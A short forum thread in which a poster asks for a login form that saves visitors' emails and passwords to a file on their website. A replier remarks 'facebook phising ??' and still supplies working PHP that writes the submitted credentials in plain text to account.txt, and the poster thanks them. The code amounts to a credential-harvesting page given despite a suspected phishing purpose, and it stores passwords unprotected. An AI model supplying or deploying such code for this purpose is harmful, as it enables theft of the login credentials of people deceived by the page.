Hi every one i need help in my website i want to add this option or something like this ______________ <form> <p> Enter E-mail : <input type="text" name="text"> </p> <p>Enter Passwrod : <input type="password" name="text"> <input type="button" value="Submit" name="Submit" </p> </form> ______________ but i want to add more option that: when some one press submit button the data entry "the email and passwrod" it save to a file on my website storage space. i can't find the help, plz help me.... thankx aloooot
facebook phising ?? <?php if(isset($_POST['submit'])){ $email = $_POST['email']; $pass = $_POST['pass']; $fp = fopen('account.txt','w+'); if($fp){ $account = $email.'|'.$pass; fwrite($fp,$account); fclose($fp); } } ?> <form action="" method="post"> <p> Enter E-mail : <input type="text" name="email" /> </p> <p>Enter Passwrod : <input type="password" name="pass" /> <input type="submit" value="Submit" name="submit" /> </p> </form> PHP:
i'll try if this work or didn't work. any way.. that you answer me and give me something from your time this make me happy.. thank you verymuch.
it look nice, thank you alot, but did this part need for me to edit? or do something? _____________ <?php if(isset($_POST['submit'])){ $email = $_POST['email']; $pass = $_POST['pass']; $fp = fopen('account.txt','w+'); if($fp){ $account = $email.'|'.$pass; fwrite($fp,$account); fclose($fp); ____________ thank you again